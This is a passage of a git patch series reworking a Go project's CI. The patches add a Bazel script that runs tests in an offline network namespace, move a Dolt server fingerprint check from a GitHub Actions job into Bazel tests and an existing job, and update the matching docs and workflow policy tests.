b/tools/bazel/go_test_offline.sh new file mode 100755 index 000000000..b0718fe52 --- /dev/null +++ b/tools/bazel/go_test_offline.sh @@ -0,0 +1,24 @@ +#!/usr/bin/env bash +# Runs an existing go_test binary (go_test_variant.sh's contract: the first +# argument is its runfiles path, the rest go to the binary unchanged) inside a +# fresh user and network namespace with only loopback up, as namespace root. +# It is the unprivileged equivalent of `sudo unshare --net` plus `ip link set +# lo up`: the binary and every process it starts (bd, its loopback proxy, dolt +# sql-server) can bind and dial 127.0.0.1 and nothing else, which proves the +# code under test needs no outbound network. The workers allow unprivileged +# user namespaces; a host that does not fails here rather than running the +# test with the network it is meant to be without. +set -euo pipefail +export GO_TEST_RUN_FROM_BAZEL=1 +exec unshare --user --map-root-user --net -- bash -euc ' +ip link set lo up +# Prove the namespace really has no outbound network before trusting +# anything the test reports. +if timeout 3 bash -c "exec 3<>/dev/tcp/1.1.1.1/443" 2>/dev/null; then + echo "go_test_offline: outbound network unexpectedly available inside the namespace" >&2 + exit 1 +fi +bin="$1" +shift +exec "./$bin" "$@" +' go_test_offline "$@" From 72534f8e577e0318b4a6ccc25c407bb2023cde48 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 7 Oct 2026 00:59:16 +0000 Subject: [PATCH 136/325] ci(bazel): check the Dolt server fingerprint on the dolt-server lane; retire pr.yml's fingerprint job (#7328) pr.yml's every-PR "Test (Dolt server fingerprint)" job installed dolt, pulled the dolt-sql-server docker image and ran TestDoltServerFingerprint against both backends. The rbe-west workers have no docker, and the container backend is now used only by the container-backed legacy jobs, which run only where bazel-coverage does not cover pr_lanes. - //internal/testutil:testutil_dolt_test runs testutil_test with the local backend selected and required (BEADS_TEST_DOLT_SERVER=local, BEADS_TEST_REQUIRE_DOLT_CONTAINER=1) on the dolt-server lane, which pr.yml's gate requires: the fingerprint's local half against the pinned dolt, plus the TestLocalDoltServer_* tests every other configuration skips under BEADS_TEST_SKIP=dolt. - The container half moves back to test-domain-uow's first test step (where it was before D2 step 3), so it runs exactly where containers are used. //internal/testutil:testutil_docker_test is its docker-lane A/B control. TestPinnedDoltCLIMatchesContainerImage still pins the image tag to the dolt release. - test-dolt-server-fingerprint, its ci-gate need/result and its policy tests are removed; TestDoltServerFingerprintRunsWhereEachBackendRuns pins the new placement. Refs: ga-96smfk.19 Co-authored-by: Claude Opus 5.5 (1M context) --- .github/workflows/pr.yml | 65 +++++---------------- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 23 +++++--- internal/testutil/BUILD.bazel | 52 +++++++++++++++++ scripts/ci_workflow_test.go | 21 ++++--- scripts/pr_lanes_bazel_coverage_test.go | 75 ++++++++++++------------- scripts/pull_dolt_image_test.go | 2 +- 6 files changed, 126 insertions(+), 112 deletions(-) diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index fcb011073..bfaf9f66e 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -1520,8 +1520,10 @@ jobs: # # D2 step 3: stands down where bazel-coverage says pr_lanes; Bazel's # `dolt-server lane` runs the same packages against a local dolt - # sql-server, which test-dolt-server-fingerprint (every PR) keeps equal to - # the container this job uses. + # sql-server, and //internal/testutil:testutil_dolt_test checks that + # server against the checked-in fingerprint. Where this job runs, its + # first test step checks the container it uses against the same + # fingerprint, so the two backends cannot drift apart unnoticed. test-domain-uow: name: Test (storage domain + uow) runs-on: ubuntu-latest @@ -1529,7 +1531,7 @@ jobs: if: needs.bazel-coverage.outputs.pr_lanes != 'true' # The race-enabled storage package has outgrown Go's implicit 10-minute # timeout. Keep both per-package deadlines inside one finite job budget. - timeout-minutes: 30 + timeout-minutes: 35 steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -1570,6 +1572,14 @@ jobs: sha256sum -c SHA256SUMS chmod +x bd-linux-gms-pure + # The container this job's tests use, and the local server (the + # pinned dolt CLI installed above), against the checked-in + # fingerprint. REQUIRE makes the container half fail, not skip. + - name: Test Dolt server fingerprint (container + local) + env: + BEADS_TEST_REQUIRE_DOLT_CONTAINER: "1" + run: go test -tags gms_pure_go -count=1 -timeout 5m -v -run '^TestDoltServerFingerprint$' ./internal/testutil/ + - name: Test domain + uow + tracker env: BEADS_TEST_BD_BINARY: ${{ github.workspace }}/ci-build-artifacts/bd-linux-gms-pure @@ -1595,52 +1605,6 @@ jobs: TESTCONTAINERS_RYUK_DISABLED: "true" run: go test -tags gms_pure_go -race -count=1 -timeout 10m -v ./cmd/bd/doctor/fix/ - # Compares the Dolt sql-server container image the container-backed tests - # use and the local test server backend (the pinned dolt CLI, what every - # Bazel dolt-server lane starts) against the one checked-in fingerprint, - # so an image bump cannot drift the container side unnoticed. REQUIRE - # makes the container half fail, not skip. Every PR, whatever bazel-coverage - # says: it was test-domain-uow's first step, and the Bazel lanes that - # replace that job (D2 step 3) have no docker. - # - # F7a: moved to Blacksmith for same-repo PRs/merge_group. Restores no - # GitHub-saved cache (Dolt CLI and the sql-server image are fetched fresh - # every run via scripts/ci/install-dolt.sh and pull-dolt-image.sh). - test-dolt-server-fingerprint: - name: Test (Dolt server fingerprint) - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} - timeout-minutes: 15 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Install Dolt CLI - run: ./scripts/ci/install-dolt.sh - - - name: Verify dolt on PATH - run: dolt version - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Pull Dolt sql-server image - # Keep tag in sync with internal/testutil/testdoltcommon.go:DoltDockerImage. - run: ./scripts/ci/pull-dolt-image.sh - - - name: Test Dolt server fingerprint (container + local) - env: - BEADS_TEST_REQUIRE_DOLT_CONTAINER: "1" - run: go test -tags gms_pure_go -count=1 -timeout 5m -v -run '^TestDoltServerFingerprint$' ./internal/testutil/ - # `test-macos` / "Test (macos-latest)" used to run here and is deliberately # removed (F4, PR CI -> 5 min). It was a non-required, PR-side mirror of # main.yml's `test` job's macOS leg (full `go test -race -short ./...`), @@ -2421,7 +2385,6 @@ jobs: - scripts-go-checks - pr-lint-wrapper - test-domain-uow - - test-dolt-server-fingerprint - contract-corpus - windows-make-shell - bazel @@ -2453,7 +2416,6 @@ jobs: SCRIPTS_GO_CHECKS PR_LINT_WRAPPER TEST_DOMAIN_UOW - TEST_DOLT_SERVER_FINGERPRINT CONTRACT_CORPUS WINDOWS_MAKE_SHELL BAZEL @@ -2509,7 +2471,6 @@ jobs: SCRIPTS_GO_CHECKS: ${{ needs.scripts-go-checks.result }} PR_LINT_WRAPPER: ${{ needs.pr-lint-wrapper.result }} TEST_DOMAIN_UOW: ${{ needs.test-domain-uow.result }} - TEST_DOLT_SERVER_FINGERPRINT: ${{ needs.test-dolt-server-fingerprint.result }} CONTRACT_CORPUS: ${{ needs.contract-corpus.result }} WINDOWS_MAKE_SHELL: ${{ needs.windows-make-shell.result }} # bazel.yml's lanes report their job.status as outputs; a lane that diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index c31517132..6ec63d432 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -646,7 +646,6 @@ Do not require these existing check names directly: - `Test (ubuntu-latest)` - `Test (macos-latest)` - `Test (storage domain + uow)` -- `Test (Dolt server fingerprint)` - `Go checks (vet)` - `Contract corpus (golden + determinism + conformance)` - `PR Core (wrapper timing)` @@ -920,11 +919,16 @@ manifests. On those PRs they are the tiers' only pre-merge run, and timing measured there), `ubuntu-latest` otherwise. `bazel-test`'s own `bazel-ci-build-artifacts` upload is no longer consumed by anything; it is kept for the F3.5.3 SHA256SUMS comparison and for debugging. - - Kept on every PR: the Dolt server fingerprint (container image vs the - pinned dolt CLI the Bazel dolt-server lanes start), formerly - `test-domain-uow`'s first step, is its own required job - `test-dolt-server-fingerprint` (`Test (Dolt server fingerprint)`, - `TEST_DOLT_SERVER_FINGERPRINT`). `check-release-target-cross-compilation` + - The Dolt server fingerprint is checked per backend, where that backend + runs. The local server (the pinned dolt CLI every Bazel dolt-server lane + starts) is checked by `//internal/testutil:testutil_dolt_test` on the + dolt-server lane. The container is checked by `test-domain-uow`'s first + test step, which runs only where the container-backed jobs run (not + covered by `pr_lanes`). The every-PR job `test-dolt-server-fingerprint` + (`Test (Dolt server fingerprint)`, `TEST_DOLT_SERVER_FINGERPRINT`) + pulled a docker image the workers do not have, so it is retired; the + image tag stays pinned to the dolt release by + `TestPinnedDoltCLIMatchesContainerImage`. `check-release-target-cross-compilation` still `go build`s `./...` with `CGO_ENABLED=0` on every PR. - Also kept on every PR, in the required job `scripts-go-checks` (`SCRIPTS_GO_CHECKS`, one leg, `Go checks (vet)`): `go test`'s own vet @@ -1182,8 +1186,9 @@ scope, not this slice's. `TestSameRepoBlacksmithRunners` and `TestSameRepoBlacksmithExpressionSemantics` in `scripts/ci_workflow_test.go`): pr.yml's `fast-checks`, `advisory-reports`, `check-release-target-cross-compilation` (8 vCPU), - `check-doc-flags` (4 vCPU), `pr-policy-wrapper` (4 vCPU), - `test-dolt-server-fingerprint`; pr-risk.yml's `test-nix` (4 vCPU). Every + `check-doc-flags` (4 vCPU), `pr-policy-wrapper` (4 vCPU) + (and `test-dolt-server-fingerprint`, since retired); pr-risk.yml's + `test-nix` (4 vCPU). Every other job keeps the default 2 vCPU label. Forks and Dependabot PRs fall back to `ubuntu-latest`, as F3's `bazel-coverage`/`ci-gate`/`detect-ci-tier` jobs and bazel.yml's `rbe` job already do; `TestBlacksmithJobsReadNoSecrets` @@ -1490,7 +1495,7 @@ PR timings, 2026-10): `fast-checks` (~40 s), `pr-policy-wrapper` `check-doc-freshness-platforms` and `pr-preflight-platforms` (Linux, Windows and macOS legs, up to ~5 min on Windows), `check-release-target-cross-compilation` (~5 min), -`test-dolt-server-fingerprint` (~1 min), `windows-make-shell` (~2.7 min), +`windows-make-shell` (~2.7 min), `windows-test-binaries` plus the prebuilt Windows pair (~7 min end to end), the advisory native Windows pair (~5 min; the gate waits for them), `test-nix` (~3 min) and the package gates (seconds unless their paths diff --git a/internal/testutil/BUILD.bazel b/internal/testutil/BUILD.bazel index 8cff43c52..c3ecd1843 100644 --- a/internal/testutil/BUILD.bazel +++ b/internal/testutil/BUILD.bazel @@ -1,4 +1,5 @@ load("@rules_go//go:def.bzl", "go_library", "go_test") +load("@rules_shell//shell:sh_test.bzl", "sh_test") go_library( name = "testutil", @@ -125,6 +126,57 @@ go_test( ], ) +# testutil_test on the dolt-server lane: the package's own tests of the +# test-server backends, with the local backend selected and required, so +# TestDoltServerFingerprint's local half (formerly pr.yml's "Test (Dolt +# server fingerprint)" job, every PR) and the TestLocalDoltServer_* tests run +# against the pinned dolt in the test wrapper's runfiles. Every other +# configuration of testutil_test passes BEADS_TEST_SKIP=dolt and skips them. +# The container half needs docker: testutil_docker_test below runs it on the +# docker lane, and TestPinnedDoltCLIMatchesContainerImage (//scripts) keeps +# the image tag on the pinned release. +# +# Tags: +# dolt-server: starts hermetic dolt sql-servers from the pinned dolt in the +# test wrapper's runfiles (BEADS_TEST_DOLT_SERVER=local); excluded from +# --config=prcore/ci, selected by --config=doltserver. +sh_test( + name = "testutil_dolt_test", + size = "medium", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = ["$(rootpath :testutil_test)"], + data = [":testutil_test"], + env = { + "BEADS_TEST_DOLT_SERVER": "local", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", + }, + tags = ["dolt-server"], +) + +# The same tests with the container backend selected and required: the A/B +# control for testutil_dolt_test, and the only place TestDoltServerFingerprint's +# container half runs in CI (bazel.yml's docker lane, dolt-lane=docker). +# +# Tags: +# requires-docker: needs a docker daemon and the cached dolt-sql-server +# image; selected by --config=docker. +# no-remote-exec: the docker lane runs on the host. +sh_test( + name = "testutil_docker_test", + size = "medium", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = ["$(rootpath :testutil_test)"], + data = [":testutil_test"], + env = { + "BEADS_TEST_DOLT_SERVER": "container", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", + }, + tags = [ + "no-remote-exec", + "requires-docker", + ], +) + # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index ecac502de..fcd7006e2 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -987,10 +987,11 @@ func TestPRCIGateRequiresGeneratedHookTimeoutProcessBoundary(t *testing.T) { func TestStorageDomainUOWJobsUseNestedTimeoutBudgets(t *testing.T) { const ( + fingerprintTimeoutMinutes = 5 storageTimeoutMinutes = 15 doctorTimeoutMinutes = 10 setupTeardownSlackMinutes = 5 - jobTimeoutMinutes = storageTimeoutMinutes + doctorTimeoutMinutes + setupTeardownSlackMinutes + jobTimeoutMinutes = fingerprintTimeoutMinutes + storageTimeoutMinutes + doctorTimeoutMinutes + setupTeardownSlackMinutes ) storageCommand := fmt.Sprintf( "go test -tags gms_pure_go -race -count=1 -timeout %dm -v ./internal/storage/domain/... ./internal/storage/uow/... ./internal/tracker/...", @@ -1008,25 +1009,24 @@ func TestStorageDomainUOWJobsUseNestedTimeoutBudgets(t *testing.T) { // Go's timeout applies per package test binary, so this is a // maintenance tripwire for the declared sequential tier budgets, // not a mathematical upper bound for the multi-package first step. - if job.TimeoutMinutes <= storageTimeoutMinutes+doctorTimeoutMinutes { + if job.TimeoutMinutes <= fingerprintTimeoutMinutes+storageTimeoutMinutes+doctorTimeoutMinutes { t.Errorf( "test-domain-uow timeout = %d minutes, want more than %d minutes of declared tier budgets", job.TimeoutMinutes, - storageTimeoutMinutes+doctorTimeoutMinutes) + fingerprintTimeoutMinutes+storageTimeoutMinutes+doctorTimeoutMinutes) } assertStepRunsExactly(t, job, "Test domain + uow + tracker", storageCommand) assertStepRunsExactly(t, job, "Test doctor/fix (Dolt-backed, hard-require container)", doctorCommand) }) } - // The container and local test servers are compared in pr.yml's own - // every-PR job (it was test-domain-uow's first step until D2 step 3; - // TestPRDoltServerFingerprintRunsOnEveryPR pins it). + // The container this job uses is compared with the checked-in + // fingerprint in its first test step + // (TestDoltServerFingerprintRunsWhereEachBackendRuns pins where). job := readCIWorkflow(t, "pr.yml").job(t, prFingerprintJob) - const fingerprintStep = "Test Dolt server fingerprint (container + local)" - assertStepRunsExactly(t, job, fingerprintStep, - "go test -tags gms_pure_go -count=1 -timeout 5m -v -run '^TestDoltServerFingerprint$' ./internal/testutil/") - assertStepEnvValue(t, job, fingerprintStep, "BEADS_TEST_REQUIRE_DOLT_CONTAINER", "1") + assertStepRunsExactly(t, job, prFingerprintStep, + fmt.Sprintf("go test -tags gms_pure_go -count=1 -timeout %dm -v -run '^TestDoltServerFingerprint$' ./internal/testutil/", fingerprintTimeoutMinutes)) + assertStepEnvValue(t, job, prFingerprintStep, "BEADS_TEST_REQUIRE_DOLT_CONTAINER", "1") gate := readCIWorkflow(t, "pr.yml").job(t, "ci-gate") gateEnv := gate.step(t, "Evaluate CI gate").Env @@ -2987,7 +2987,6 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { "bazel-coverage": sameRepoBlacksmith2vcpu, "ci-gate": sameRepoBlacksmith2vcpu, "fast-checks": sameRepoBlacksmith2vcpu, "advisory-reports": sameRepoBlacksmith2vcpu, - "test-dolt-server-fingerprint": sameRepoBlacksmith2vcpu, "check-doc-flags": sameRepoBlacksmith4vcpu, "pr-policy-wrapper": sameRepoBlacksmith4vcpu, "check-release-target-cross-compilation": sameRepoBlacksmith8vcpu, diff --git a/scripts/pr_lanes_bazel_coverage_test.go b/scripts/pr_lanes_bazel_coverage_test.go index 8abcbb6c6..e280fb1fc 100644 --- a/scripts/pr_lanes_bazel_coverage_test.go +++ b/scripts/pr_lanes_bazel_coverage_test.go @@ -20,14 +20,15 @@ import ( // (BAZEL_PR_LANES_RETIRED, simulated with the other tiers in // TestPRRiskDecisionMatchesBazelMode). Everything the retired jobs did // besides those tests keeps running on every PR: the package gates take the -// Bazel-built bd, the Dolt server fingerprint has its own job, and -// scripts-go-checks runs go test's vet checks. +// Bazel-built bd, the Dolt server fingerprint runs on the dolt-server lane +// (its local half) and in test-domain-uow (its container half, where +// containers are used), and scripts-go-checks runs go test's vet checks. const ( // The legacy jobs' if: not covered. prLaneLegacyIf = "needs." + prRiskCoverageJobName + ".outputs.pr_lanes != 'true'" - prFingerprintJob = "test-dolt-server-fingerprint" - prFingerprintID = "TEST_DOLT_SERVER_FINGERPRINT" + prFingerprintJob = "test-domain-uow" + prFingerprintStep = "Test Dolt server fingerprint (container + local)" prScriptsChecksJob = "scripts-go-checks" prScriptsChecksID = "SCRIPTS_GO_CHECKS" // bazel.yml's lanes for the step add --config=sole-run whenever they @@ -337,7 +338,7 @@ func TestPRLegacyLanesDeferToBazelLanes(t *testing.T) { } for _, c := range []string{"true", "false"} { for _, res := range []string{"skipped", "failure", "cancelled"} { - for _, job := range []string{prFingerprintJob, "package-mcp", "package-npm", "pr-preflight-platforms", prScriptsChecksJob} { + for _, job := range []string{"package-mcp", "package-npm", "pr-preflight-platforms", prScriptsChecksJob} { sc := prGateFor(t, lanes, "pull_request", "remote", cov(c)) // F3: package-mcp/package-npm are bazel.yml call outputs // (needs.bazel.outputs.package-mcp), not pr.yml job @@ -348,7 +349,7 @@ func TestPRLegacyLanesDeferToBazelLanes(t *testing.T) { } else { sc.results = map[string]string{job: res} } - id := map[string]string{prFingerprintJob: prFingerprintID, "pr-preflight-platforms": "PR_PREFLIGHT_PLATFORMS", prScriptsChecksJob: prScriptsChecksID}[job] + id := map[string]string{"pr-preflight-platforms": "PR_PREFLIGHT_PLATFORMS", prScriptsChecksJob: prScriptsChecksID}[job] if id == "" { id = prPackageGateIDs[job] } @@ -545,47 +546,43 @@ func testPackageGateJobs(t *testing.T, prGateRequired []string) { } } -// The Dolt server fingerprint (container image vs the pinned dolt CLI the -// Bazel dolt-server lanes start) runs on every PR in its own required job, -// whatever bazel-coverage says, and nowhere else in pr.yml. -func TestPRDoltServerFingerprintRunsOnEveryPR(t *testing.T) { +// The Dolt server fingerprint is checked once per backend, where that backend +// runs: the local server (the pinned dolt CLI every Bazel dolt-server lane +// starts) by //internal/testutil:testutil_dolt_test on the dolt-server lane, +// whatever the mode (the retired every-PR job, "Test (Dolt server +// fingerprint)", pulled a docker image the workers do not have); the +// container by test-domain-uow, the container-backed job that runs only +// where bazel-coverage does not cover pr_lanes, as its first test step. No +// other pr.yml job runs it, and ci-gate has no separate fingerprint result. +func TestDoltServerFingerprintRunsWhereEachBackendRuns(t *testing.T) { pr := readCIWorkflow(t, "pr.yml") job := pr.job(t, prFingerprintJob) - // F7a: moved to the same same-repo Blacksmith expression every other - // cache-free same-repo pr.yml job uses; forks/Dependabot still fall back - // to ubuntu-latest (TestSameRepoBlacksmithRunners covers that fallback). - if job.If != "" || len(job.Needs) != 0 || job.ContinueOnError || job.RunsOn != sameRepoBlacksmith2vcpu || job.TimeoutMinutes == 0 { - t.Errorf("%s: if %q, needs %v, continue-on-error %v, runs-on %q, timeout %d; want an unconditional same-repo-Blacksmith job with a timeout", - prFingerprintJob, job.If, job.Needs, job.ContinueOnError, job.RunsOn, job.TimeoutMinutes) + if job.If != prLaneLegacyIf { + t.Errorf("%s if %q, want %q (the container-backed tests run only there)", prFingerprintJob, job.If, prLaneLegacyIf) } - var names []string - for _, s := range job.Steps { - if s.If != "" || s.ContinueOnError != nil { - t.Errorf("%s step %q: if %q, continue-on-error %v", prFingerprintJob, s.Name, s.If, s.ContinueOnError) + step := job.step(t, prFingerprintStep) + if step.If != "" || step.ContinueOnError != nil { + t.Errorf("%s step %q: if %q, continue-on-error %v", prFingerprintJob, prFingerprintStep, step.If, step.ContinueOnError) + } + assertStepsBefore(t, job, []string{"Install Dolt CLI", "Pull Dolt sql-server image"}, []string{prFingerprintStep}) + assertStepsBefore(t, job, []string{prFingerprintStep}, []string{"Test domain + uow + tracker"}) + for name, j := range pr.Jobs { + for _, s := range j.Steps { + if strings.Contains(s.Run, "TestDoltServerFingerprint") && (name != prFingerprintJob || s.Name != prFingerprintStep) { + t.Errorf("%s step %q runs the fingerprint; only %s's %q does", name, s.Name, prFingerprintJob, prFingerprintStep) + } } - names = append(names, s.Name) - } - want := []string{"", "Set up Go", "Install Dolt CLI", "Verify dolt on PATH", "Configure Git and Dolt identity", "Pull Dolt sql-server image", "Test Dolt server fingerprint (container + local)"} - if !reflect.DeepEqual(names, want) { - t.Errorf("%s steps %q, want %q", prFingerprintJob, names, want) - } - if got, want := job.step(t, "Pull Dolt sql-server image").Run, pr.job(t, "test-domain-uow").step(t, "Pull Dolt sql-server image").Run; got != want { - t.Errorf("%s pulls the image with %q, test-domain-uow with %q", prFingerprintJob, got, want) - } - if got := job.step(t, "Install Dolt CLI").Run; got != "./scripts/ci/install-dolt.sh" { - t.Errorf("%s installs dolt with %q", prFingerprintJob, got) } gate := pr.job(t, "ci-gate") env := gate.step(t, "Evaluate CI gate").Env - if !contains(gate.Needs, prFingerprintJob) || env[prFingerprintID] != "${{ needs."+prFingerprintJob+".result }}" || - !contains(strings.Fields(env["CI_GATE_REQUIRED"]), prFingerprintID) { - t.Errorf("ci-gate does not require %s", prFingerprintID) + if _, ok := env["TEST_DOLT_SERVER_FINGERPRINT"]; ok || strings.Contains(env["CI_GATE_REQUIRED"], "FINGERPRINT") { + t.Errorf("ci-gate still evaluates a separate fingerprint result: %q", env["CI_GATE_REQUIRED"]) } - for name, j := range pr.Jobs { - for _, s := range j.Steps { - if strings.Contains(s.Run, "TestDoltServerFingerprint") && name != prFingerprintJob { - t.Errorf("%s step %q runs the fingerprint; only %s does", name, s.Name, prFingerprintJob) - } + + rule := bazelRuleBlock(readPolicyFile(t, sourceRepoRoot(t), "internal/testutil/BUILD.bazel"), "testutil_dolt_test") + for _, w := range []string{`"$(rootpath :testutil_test)"`, `"BEADS_TEST_DOLT_SERVER": "local"`, `"BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1"`, `tags = ["dolt-server"]`} { + if !strings.Contains(rule, w) { + t.Errorf("//internal/testutil:testutil_dolt_test lacks %s (the local half runs on the dolt-server lane):\n%s", w, rule) } } } diff --git a/scripts/pull_dolt_image_test.go b/scripts/pull_dolt_image_test.go index ff63d2c57..47a5b8269 100644 --- a/scripts/pull_dolt_image_test.go +++ b/scripts/pull_dolt_image_test.go @@ -54,7 +54,7 @@ func TestPullDoltImageRetriesTransientFailures(t *testing.T) { func TestDoltImagePullWorkflowsUseRetryHelper(t *testing.T) { wantCalls := map[string]int{ - "pr.yml": 3, // test-domain-uow, contract-corpus, test-dolt-server-fingerprint + "pr.yml": 2, // test-domain-uow, contract-corpus "pr-risk.yml": 3, "regression.yml": 1, } From b1fe68e63a395b3d689362e95c672786a0624d6a Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 7 Oct 2026 00:59:18 +0000 Subject: [PATCH 137/325] ci(bazel): run pr.yml's repository guards as Bazel tests (#7329) fast-checks, PR Policy, and the Linux leg of check-doc-freshness-platforms ran repository guards on GitHub runners. They now run as Bazel tests in bazel.yml's `test` lane (remote, cached), each over only the files it reads: - tools/bazel/repo_subset.bzl picks a narrow, path-selected slice of //:repo_files at analysis time. scripts/repochecks/run_check.sh copies that slice into a throwaway git checkout and runs the unchanged guard there. - //scripts/repochecks: build_tags, workflow_tags, go_install_guidance, winget_portable_alias, migration_hygiene (checks A and B), fmt (registered SDK gofmt), doc_freshness, workapi_frontend_boundary, types_gen_drift (`make api-check` drift, oapi-codegen from go.mod). - //scripts:doc_freshness_required_test (integration lane, -required-suite) and //scripts/gitattributespolicy:gitattributespolicy_required_host_test cover the Linux doc-freshness leg. - check-versions stays covered by //internal/versioncheck:versioncheck_test. check-testing-short stays covered by //scripts:scripts_test. pr-policy-wrapper is deleted. fast-checks keeps only the two checks that need the PR base: migration hygiene's delta half (MIGRATION_HYGIENE_SCOPE= delta) and the .beads diff. check-doc-flags stays, because it builds bd from the pinned release tag. The example Go modules leave .bazelignore so gofmt and the grep guards see them. check_testcases.py now accepts --not-go //pkg:all. Refs: ga-96smfk.20 Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelignore | 2 - .github/workflows/bazel.yml | 9 +- .github/workflows/pr.yml | 190 +++-------- BUILD.bazel | 8 + MODULE.bazel | 12 +- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 51 ++- internal/httpapi/apigen/BUILD.bazel | 7 + internal/httpapi/spec/BUILD.bazel | 8 +- internal/workapi/doc.go | 2 +- scripts/BUILD.bazel | 32 ++ scripts/check-migration-hygiene.sh | 29 +- scripts/check-workapi-frontend-boundary.sh | 37 +++ scripts/ci/pr-policy.sh | 31 +- scripts/ci_blacksmith_runner_test.go | 2 +- scripts/ci_workflow_test.go | 203 ++++++++---- scripts/gitattributespolicy/BUILD.bazel | 20 ++ scripts/pr_preflight_test.go | 12 - scripts/pr_risk_bazel_coverage_test.go | 25 +- scripts/release_script_test.go | 20 -- scripts/repo_helpers_test.go | 47 +++ scripts/repochecks/BUILD.bazel | 353 +++++++++++++++++++++ scripts/repochecks/run_check.sh | 74 +++++ scripts/repochecks/testdata/a.txt | 1 + scripts/repochecks/testdata/assert_tree.sh | 17 + scripts/repochecks/testdata/skip.md | 1 + scripts/repochecks/testdata/sub/b.sh | 2 + scripts/repochecks/testdata/sub/deep/c.sh | 2 + scripts/repochecks/types_gen_drift_test.sh | 41 +++ tools/bazel/check_testcases.py | 16 +- tools/bazel/go_srcs.py | 1 + tools/bazel/repo_subset.bzl | 87 +++++ 31 files changed, 1053 insertions(+), 289 deletions(-) create mode 100755 scripts/check-workapi-frontend-boundary.sh create mode 100644 scripts/repo_helpers_test.go create mode 100644 scripts/repochecks/BUILD.bazel create mode 100755 scripts/repochecks/run_check.sh create mode 100644 scripts/repochecks/testdata/a.txt create mode 100755 scripts/repochecks/testdata/assert_tree.sh create mode 100644 scripts/repochecks/testdata/skip.md create mode 100755 scripts/repochecks/testdata/sub/b.sh create mode 100755 scripts/repochecks/testdata/sub/deep/c.sh create mode 100755 scripts/repochecks/types_gen_drift_test.sh create mode 100644 tools/bazel/repo_subset.bzl diff --git a/.bazelignore b/.bazelignore index 02f8e8fdb..446a903e1 100644 --- a/.bazelignore +++ b/.bazelignore @@ -1,5 +1,3 @@ -examples/library-usage -examples/bd-example-extension-go npm-package/node_modules website node_modules diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 07355f39c..772ce64f3 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -1339,12 +1339,13 @@ jobs: echo "bazel test --config=integration: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" exit "$rc" - # As in bazel-embedded. dolt_version_test is a plain sh_test (no Go - # testcases in its test.xml), which --config=integration's tag filter - # keeps, unlike the embedded one. + # As in bazel-embedded. dolt_version_test and the repository guards in + # //scripts/repochecks are plain sh_tests (no Go testcases in their + # test.xml), which --config=integration's tag filter keeps, unlike the + # embedded one. - name: Every target and shard ran tests if: ${{ always() && steps.test.outcome != 'skipped' }} - run: python3 tools/bazel/check_testcases.py --bep "$RUNNER_TEMP/bazel-bep.json" --not-go //tools/bazel:dolt_version_test + run: python3 tools/bazel/check_testcases.py --bep "$RUNNER_TEMP/bazel-bep.json" --not-go //tools/bazel:dolt_version_test --not-go //scripts/repochecks:all - name: Upload test logs if: ${{ failure() && steps.test.outcome != 'skipped' }} diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index bfaf9f66e..89470edf9 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -148,31 +148,29 @@ jobs: retention-days: 1 if-no-files-found: error - # F7a: fold of five independent, no-cache pr.yml checks that previously ran - # as five separate ubuntu-latest jobs (check-build-tags, - # check-version-consistency, check-migration-hygiene, - # check-no-beads-changes, fmt-check) into one Blacksmith job with five - # steps. Each step gets its own id and `if: ${{ !cancelled() }}` so one - # check's failure does not block the others from running, and the job - # exposes each step's outcome as a job output so ci-gate can still red the - # exact same CI_GATE_REQUIRED token it did before the fold - - # TestPRCIGateFastChecksTokens pins the mapping. FAST_CHECKS (the job's own - # `result`) is an added backstop token: if the whole job is lost (e.g. a - # cancelled runner) before any step sets its output, the per-check outputs - # read empty and the CI_GATE_REQUIRED fallback below treats that as - # "skipped" - which is NOT skipped_ok, so the gate still reds, but - # FAST_CHECKS gives ci-gate.sh one clear error line ("FAST_CHECKS=cancelled") - # instead of five confusing ones. + # The checks that need the PR's base commit, so no hermetic Bazel target + # can hold them: check-migration-hygiene.sh's delta half (C: shipped + # migrations are frozen, D: ignored-plane twins, E: no prepared DML in new + # migrations, all over `git diff `) and the .beads/issues.jsonl + # guard. Everything else this job ran is a Bazel test in bazel.yml's `test` + # lane (ga-96smfk.20): //scripts/repochecks:build_tags_test, + # :go_install_guidance_test, :winget_portable_alias_test, + # :migration_hygiene_test (checks A and B) and :fmt_test, and + # //internal/versioncheck:versioncheck_test for check-versions.sh. No Go: + # both 